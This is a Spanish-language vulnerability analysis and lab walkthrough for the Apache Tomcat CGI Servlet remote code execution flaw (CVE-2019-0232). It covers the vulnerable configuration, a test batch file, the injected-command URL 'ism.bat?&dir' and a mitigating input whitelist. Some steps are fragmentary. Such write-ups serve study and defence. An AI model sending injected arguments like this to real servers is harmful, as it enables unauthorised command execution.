
Análisis de vulnerabilidad y PoC para Apache Tomcat - CGIServlet enableCmdLineArguments Ejecución remota de código (RCE)
Análisis de vulnerabilidad y PoC para Apache Tomcat - CGIServlet enableCmdLineArguments Ejecución Remota de Código (RCE)
Vídeo PoC disponible en https://www.youtube.com/watch?v=RA7kzuHOWqA
Apache Tomcat tiene una vulnerabilidad en el Servlet CGI que puede ser explotada para lograr ejecución remota de código (RCE). Esto solo es explotable cuando se ejecuta en Windows en una configuración no predeterminada junto con archivos por lotes. Common Gateway Interface (CGI) es un protocolo estándar que permite a los servidores web ejecutar programas/scripts de línea de comandos mediante solicitudes web. Este protocolo también permite pasar argumentos de línea de comandos al script o programa que se ejecuta mediante parámetros de URL. El protocolo en sí está definido en RFC 3875. Cuando se ejecuta en Windows con enableCmdLineArguments habilitado, el Servlet CGI en Apache Tomcat es vulnerable a RCE debido a un error en la forma en que el JRE pasa los argumentos de línea de comandos a Windows. El Servlet CGI está deshabilitado por defecto. La opción CGI enableCmdLineArguments está deshabilitada por defecto en Tomcat 9.0.x (y estará deshabilitada por defecto en todas las versiones en respuesta a esta vulnerabilidad).
Vídeo PoC disponible en https://www.youtube.com/watch?v=RA7kzuHOWqA
1.Debes tener un servidor Apache con cualquiera de las versiones vulnerables de Tomcat mencionadas anteriormente instalado en . Además, debes tener Java JRE instalado en la misma máquina. 2.En mi caso, he instalado Apache Tomcat 9.0.0.M1 en el servidor XAMPP. 3.Después de instalar Tomcat, realiza los siguientes cambios en la configuración:
a.Modifica el archivo conf/context.xml y establece <Context privileged="true">

b.Realiza los siguientes cambios en el archivo /conf/web.xml cerca de las líneas 366 y 420, respectivamente.

enableCmdLineArguments debe ser True ya que estamos usando Tomcat 9.
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
4.Crea una carpeta para los archivos CGI en webapps\ROOT\WEB-INF\cgi y agrega un archivo ism.bat con el siguiente contenido:

@echo off
echo Content-Type: text/plain
echo .
http://localhost:8080/cgi/ism.bat?&dir para comprobar si el servidor está funcionando.
cve-2019-0232.py agregando la IP del servidor y el puerto en él.
Enlace al Vídeo PoC: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+] para evitar que la entrada se ejecute como comandos en sistemas Windows.